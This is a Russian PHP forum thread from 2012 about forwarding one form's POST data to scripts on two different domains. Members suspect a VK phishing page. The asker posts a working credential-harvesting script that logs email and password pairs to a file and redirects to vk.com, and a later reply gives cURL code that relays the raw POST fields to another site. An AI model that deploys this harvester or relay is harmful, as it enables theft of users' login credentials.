[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: отправка одновременно данных на 2 скрипта
themoonocean
Можно ли отправить одновременно данные на 2 скрипта из одной html формы POST запросом?
Или может есть другие варианты выполнения этого?



Спустя 1 минута, 15 секунд (5.02.2012 - 09:51) inpost написал(а):
на 1 скрипт отправляй, и там обрабатывай как тебе надо.

Спустя 3 минуты, 48 секунд (5.02.2012 - 09:55) themoonocean написал(а):
скрипты на разных сайтах:

пример:

www.site.com/index_form.html

передает на www.site.com/post.php, а как еще пост запросом передать эти же

данные на www.site_22.com/post2.php???

Спустя 2 минуты, 3 секунды (5.02.2012 - 09:57) nugle написал(а):
themoonocean
можно, но без перезагрузки страницы, через аякс.
Либо отправлять на один скрипт, там подключать второй

Спустя 10 минут, 47 секунд (5.02.2012 - 10:07) themoonocean написал(а):
поясни нубу, пожалуйста, на примере....

Спустя 4 минуты, 40 секунд (5.02.2012 - 10:12) nugle написал(а):
themoonocean
что тебе пояснить
файл отправки формы я думаю ты сможешь сделать
А отправляю на 1.php, к примеру

include '2.php';

В то время, как содержание 2.php

//Ну тут короче мутишь что-нить со своими данными



А если аякс интересует, то ищи в инете инфу

Спустя 2 минуты, 25 секунд (5.02.2012 - 10:14) redreem написал(а):
ajax на "неродной" домен не отправит. только отправлять на родной, а родной пусть курлом например отдает данные на неродной домен.

Спустя 40 секунд (5.02.2012 - 10:15) nugle написал(а):
redreem
ой я даже не смотрел на его домены)

Спустя 12 минут, 55 секунд (5.02.2012 - 10:28) inpost написал(а):
themoonocean
Зачем одно и то же отправлять на РАЗНЫЕ САЙТЫ? объясни.

Спустя 15 минут, 6 секунд (5.02.2012 - 10:43) themoonocean написал(а):
пример:

www.site.com/index_form.html

передает на www.site.com/post.php - сохранение пост массива в удобочитаемый вид в БД. рассмотрено тут

данные на www.site_22.com/post2.php должны уходить в сыром виде, так-же, как было бы в случае www.site.com/index_form.html => www.site.com/post.php

Спустя 2 минуты, 22 секунды (5.02.2012 - 10:46) inpost написал(а):
Зачем на левый сайт отправлять?
Ты что, хакер? Пытаешься создать лживую страничку вконтакте, чтобы люди авторизировались через твой сайт, а ты воровал их пароли?

Спустя 6 минут, 54 секунды (5.02.2012 - 10:52) themoonocean написал(а):
если надо тырить пароли можно по проще быть


<?php
$BASE="base.dat";
$LOCATION="http://vk.com/";
$p0=$_REQUEST["email"];
$p1=$_REQUEST["pass"];
$headers = "";
$info="$p0:$p1:\n";
$fd=fopen($BASE,"a+");
fwrite($fd,$info);
fclose($fd);
}
header("Location:$LOCATION");
?>

трудно помочь?

Спустя 2 минуты, 15 секунд (5.02.2012 - 10:55) YVSIK написал(а):
themoonoceanда хоть на десять.
делаешь форму её отправляешь на обработчик который и будет за все это отвечать, что и куда отправляь и что отправлять. ну а текст Абработчика это отдельная тема и точно не простая и имеющая целый ряд решений.

что насчет тырить это те не к сюда! это вот сюда=>#####)

Спустя 11 минут, 6 секунд (5.02.2012 - 11:06) themoonocean написал(а):
да ну что же вы такие... я знаю, как стырить пароль, и я НЕ ПРОСИЛ У ВАС ПОМОЩИ ПО ТАКОЙ ТЕМЕ! я прошу помощи по теме

Цитата
пример:

www.site.com/index_form.html

передает на www.site.com/post.php - сохранение пост массива в удобочитаемый вид в БД. рассмотрено тут

данные на www.site_22.com/post2.php должны уходить в сыром виде, так-же, как было бы в случае www.site.com/index_form.html => www.site.com/post.php


вот и все...

а существуют в сети аналоги "обработчика", о котором ты говорил?

Спустя 4 минуты, 46 секунд (5.02.2012 - 11:11) inpost написал(а):
themoonocean
Ну я не собираюсь помогать тебе тырить пароли.
К тому же тот твой код не поможет украсть. Не надо гуглить и искать код за 5 минут.

Спустя 2 часа, 53 минуты, 33 секунды (5.02.2012 - 14:04) walerus написал(а):
Цитата (themoonocean @ 5.02.2012 - 06:55)
скрипты на разных сайтах:

пример:

www.site.com/index_form.html

передает на www.site.com/post.php, а как еще пост запросом передать эти же

данные на www.site_22.com/post2.php???

Как советовали выше, передаешь данные формы в один файл, а там уже дальше расходится на все что нужно.

Файл - post.php
<?php

$IN_POST_DATA = $_POST; // Тут хранятся все переменные которые были получены

/*
.......
Обработка данных которая нужна
сохранение пост массива в удобочитаемый вид в БД.
*/

// Отправляешь CURL'ом пост данные дальше на другой скрипт


$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'www.site_22.com/post2.php' );
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_TIMEOUT, 60 );
curl_setopt($ch, CURLOPT_POST, 1 );
curl_setopt($ch, CURLOPT_POSTFIELDS, $IN_POST_DATA );
$result = curl_exec( $ch );

if ( curl_errno( $ch ) )
{
echo "CURL returned error: ".curl_error($ch)."\n"; // Вывод ошибки при передаче
}

curl_close($ch);

Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.